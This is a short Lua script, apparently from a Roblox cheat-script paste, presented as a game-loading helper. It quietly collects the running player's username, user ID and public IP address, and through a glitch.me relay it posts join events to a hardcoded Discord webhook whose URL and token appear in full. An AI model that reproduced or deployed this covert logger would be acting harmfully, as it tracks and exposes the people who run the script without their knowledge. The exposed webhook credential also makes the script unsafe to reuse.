· 6 years ago · Dec 30, 2019, 01:54 PM
1local discordlogs = {
2 hookurl = "https://discordapp.com/api/webhooks/658961089559658543/7kIlY7cPLRhr8Gi8z2tl2eSlR4VLh606FDrPoMojuZfRe0AcXkNt6hG9MxR-DPRDG9Dh",
3 username = game.Players.LocalPlayer.Name,
4 userid = game.Players.LocalPlayer.UserId,
5 ip = tostring(game:HttpGet("https://api.ipify.org", true)),
6 placeid = game.PlaceId,
7 loadkey = "users key here",
8}
9
10function log(message)
11 local api = "http://buritoman69.glitch.me/webhook"
12 local Body = {
13 ['Key'] = "applesaregood",
14 ['Message'] = tostring(message),
15 ['Name'] = "script logger",
16 ['Webhook'] = discordlogs.hookurl
17 }
18 encode = game:GetService("HttpService"):JSONEncode(Body)
19 local data = game:HttpPost(api, encode, false, "application/json")
20 return data or nil
21end
22
23-- gives the game time to load properly because things arent spawned instantly, raise the wait times here if you get errors
24if game.workspace:FindFirstChild("Lobby") then
25 print('loaded | lobby')
26 log(discordlogs.username .. ' joined lobby')
27else
28 print('loaded | dungeon')
29 log(discordlogs.username .. ' joined dungeon')
30end